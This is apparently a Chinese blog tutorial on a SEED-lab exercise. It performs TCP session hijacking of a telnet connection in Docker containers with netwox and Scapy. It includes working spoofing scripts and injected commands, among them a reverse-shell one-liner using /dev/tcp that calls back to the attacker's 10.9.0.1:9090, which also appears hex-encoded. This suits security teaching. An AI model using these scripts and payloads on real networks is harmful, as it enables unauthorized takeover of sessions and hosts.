您现在的位置是:首页 >技术交流 >分别用netwox和scapy进行TCP 会话劫持攻击,包括注入普通命令和反向shell网站首页技术交流

分别用netwox和scapy进行TCP 会话劫持攻击,包括注入普通命令和反向shell

rebibabo 2023-06-15 08:00:02
简介分别用netwox和scapy进行TCP 会话劫持攻击,包括注入普通命令和反向shell

环境搭建

安装实验docker,保存下面的文件为docker-compose.yml:

version: "3"

services:
    attacker:
        image: handsonsecurity/seed-ubuntu:large
        container_name: seed-attacker
        tty: true
        cap_add:
                - ALL
        privileged: true
        volumes:
                - ./volumes:/volumes
        network_mode: host


    Victim:
        image: handsonsecurity/seed-ubuntu:large
        container_name: victim-10.9.0.5
        tty: true
        cap_add:
                - ALL
        privileged: true
        sysctls:
                - net.ipv4.tcp_syncookies=0

        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.5

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "
                  
    User1:
        image: handsonsecurity/seed-ubuntu:large
        container_name: user1-10.9.0.6
        tty: true
        cap_add:
                - ALL
        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.6

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "

    User2:
        image: handsonsecurity/seed-ubuntu:large
        container_name: user2-10.9.0.7
        tty: true
        cap_add:
                - ALL
        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.7

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "

networks:
    net-10.9.0.0:
        name: net-10.9.0.0
        ipam:
            config:
                - subnet: 10.9.0.0/24

然后执行,安装docker镜像

docker-compose -f docker-compose.yml up -d

打开三个终端,其中一个终端为用户机,另两个终端开启docker,执行./run.sh

#run.sh
docker run -it --privileged "handsonsecurity/seed-ubuntu:large" /bin/bash

172.17.0.2为客户端,172.17.0.3为服务器,在服务器上运行./start.sh,开启telnet服务

/etc/init.d/openbsd-inetd restart

使用下面的命令可以查看是否打开了telnet

netstat -a | grep telnet
# tcp        0      0 0.0.0.0:telnet          0.0.0.0:*               LISTEN

docker删除images,先执行docker images查看待删除的镜像的ID,然后执行 docker ps -a,查看有哪些容器正在使用该ID,然后对全部使用镜像ID的容器执行docker rm <container ID>,最后再运行docker rmi <image ID>

攻击机IP:192.168.100.129
用户机IP:172.17.0.2
目标机IP:172.17.0.3

Wireshark截包截图

用wireshark截包最后一个telnet包,获得ack为1026078517,next seq为400319139,这个next seq如果是相对的relative,需要右键协议首选项,将Relative sequence numbers去掉

在这里插入图片描述

利用netwox进行攻击

然后利用netwox伪造数据包,根据TCP序列号原理,新的seqnum为前一个包的ack,acknum为前面的next seq = seq + len,然后在攻击机上运行下面的命令,tcp-data为16进制数,表示abc的ASCII码

sudo netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 172.17.0.2 --ip4-dst 172.17.0.3 --tcp-src 53010 --tcp-dst 23 --tcp-seqnum 1026078517 --tcp-acknum 400319139 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "616263"

wireshark成功截下来新发的包,可以看到172.17.0.2向172.17.0.3发送了数据为abc的telnet包,TCP会话劫持攻击成功
在这里插入图片描述

在这里插入图片描述

如果将abc改成命令,例如pwd,则将tcp-data改成70 77 64 0d 0a,表示pwd ,用wireshark抓包就可以看到服务端返回的信息了,/home/seed
在这里插入图片描述

使用scapy进行手动攻击

按照同样的方法填写hijack_manual.py当中的相应参数值,运行python文件后,可以用wireshark抓包
hijack_manual.py代码为:

#!/usr/bin/python3
from scapy.all import *

print("SENDING SESSION HIJACKING PACKET.........")

ip  = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=53146, dport=23, flags="A", seq=1445493081, ack=3500477510)
data = "
 touch /tmp/myfile.txt
"
pkt = ip/tcp/data
send(pkt, verbose=0)

在这里插入图片描述

在服务端运行ls /tmp可以看到新建的文件myfile.txt,说明TCP会话劫持成功

在这里插入图片描述

使用scapy进行自动攻击

代码为:

#!/usr/bin/python3
from scapy.all import *

SRC  = "172.17.0.3"
DST  = "172.17.0.2"
PORT = 23

def spoof(pkt):
    old_ip  = pkt[IP]
    old_tcp = pkt[TCP]

    ip = IP(src=DST, dst=SRC)
    tcp = TCP(sport=old_tcp.dport, dport=old_tcp.sport, seq=old_tcp.ack, ack=old_tcp.seq + len(old_tcp.payload), flags="A")
    data = "
 touch /tmp/yzs.txt
"

    pkt = ip/tcp/data
    send(pkt,verbose=0)
    ls(pkt)
    quit()

f = 'tcp and src host {} and dst host {}'.format(SRC, DST)
sniff(filter=f, prn=spoof,iface='docker0')

用wireshark抓包可以截获这个请求

在这里插入图片描述

使用 TCP 会话劫持创建反向 shell

再打开一个攻击机终端,然后运行netcat -lnvp 9090(右上角) ,另一个先修改好hijack_manual.py相应变量,seq,ack,port,以及发送的数据改成反向shell的命令 /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1,然后运行hijack_manual.py(左上角),成功发包,然后在运行netcat -lnvp 9090的终端成功反向shell,服务端为左下角

在这里插入图片描述

wireshark抓包可以看到命令 /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1

在这里插入图片描述

使用netwox,执行命令

netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 172.17.0.2 --ip4-dst 172.17.0.3 --tcp-src 55474 --tcp-dst 23 --tcp-seqnum 1964894630 --tcp-acknum 3817643431 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data '2f62696e2f62617368202d69203e202f6465762f7463702f31302e392e302e312f3930393020303c263120323e26310a'

左边执行netwox命令,右边执行netcat -lnvp 9090,可以看到wireshark截获了带有反向shell命令的包,并且成功连接上了服务端

在这里插入图片描述

使用scapy自动攻击,代码只需要将上面的字符串改成/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1即可,左上角为攻击机运行hijack_auto.py文件,右上角可以看到成功进行反shell,wireshark可以看到包

在这里插入图片描述

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。